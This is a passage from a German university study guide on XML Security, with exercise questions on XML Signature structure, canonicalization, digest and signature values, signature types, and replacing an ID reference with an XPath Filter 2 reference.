b) Wie sieht die Struktur des <ds:Signature/> Elements aus?
i) Welche Kindelemente muss das Element mindestens haben?
ii) Welche Kindelemente sind optional?
Sie können hierzu in das entsprechende XML Schema schauen1 .
c) Wie wird der Verweis auf das signierte Element realisiert? Nennen
Sie das Element, das die Informationen über den Verweis enthält.
i) Wo wird dieses Element genau platziert?
ii) Geben Sie die vollständige Element-Deklaration (inklusive aller benötigten Attribute) des Elements an. Sie brauchen keine
Kindelemente dieses Elements mit angeben.
d) Es soll Exclusive Canonicalization verwendet werden.
i) Welches Element enthält die Informationen über die verwendete Canonicalization-Methode?
ii) Wo befindet sich dieses Element in der XML-Baumstruktur?
iii) Geben Sie die vollständige Element-Deklaration (inklusive aller
benötigten Attribute) an. Sie brauchen keine Kindelemente
dieses Elements mit angeben.
e) Wofür wird das <ds:DigestValue/> Element verwendet?
i) Wo wird das entsprechende Element platziert?
ii) Über was genau wird der Hashwert berechnet?
f) Wofür wird das <ds:SignatureValue/> Element verwendet?
i) Wo wird das entsprechende Element platziert?
ii) Wie genau wird der Wert berechnet?
g) Erklären Sie die Unterschiede zwischen
i) Enveloping Signature
ii) Enveloped Signature
iii) Detached Signature
h) Geben Sie das vollständige XML-Dokument an, welches die zuvor
erarbeitete Signatur enthält. Die erstellte Signatur muss vollständig
validierbar sein (wobei Sie anstelle der konkreten Hash- & SignaturWerte Platzhalter eintragen dürfen). Beachten Sie außerdem, dass die
zuvor bearbeiteten Schritte nicht vollständig waren, d.h. es müssen
noch einige zusätzliche Elemente/Attribute eingefügt werden!
Seite 59
Ü
Seite 60
Studienbrief 6 XML Security
Übung 6.3
Ü
Das signierte Dokument aus ?? soll nun so verändert werden, dass die Signatur semantisch identisch ist. Das bedeutet, dass weiterhin dasselbe Element
(und nur dieses) signiert bleiben soll, aber anstelle einer ID Referenzierung
soll nun eine XPath-Referenz verwendet werden.
a) Geben Sie einen XPath-Ausdruck an, der semantisch dasselbe Element
selektiert, wie das durch die ID Referenzierung angegebene.
b) Um den signierten Teil mittels XPath zu referenzieren, müssen einige
Änderungen vorgenommen werden.
i) Auf welchen Wert muss das Attribut URI des <Reference/>
Elements gesetzt werden?
ii) Welche Kindelemente müssen dem <Reference/> Element
hinzugefügt werden wenn Sie XPath Filter 2 verwenden? Geben Sie als Lösung das vollständige <Reference/> Element,
inklusive des in Teilaufgabe a) erzeugten XPath-Ausdrucks
an. Fügen sie auch evtl. benötigte Namespacedeklarationen
vollständig ein.
b) Welche weiteren Elemente/Attribute/Werte des in ?? erzeugten signierten Dokuments müss(t)en selbstverständlich noch angepasst
werden, damit die Signatur wieder gültig ist.
1
http://www.w3.org/TR/xmldsig-core/xmldsig-core-schema.xsd
Verzeichnisse
Verzeichnisse
I. Abbildungen
II. Tabellen
Seite 61
Herunterladen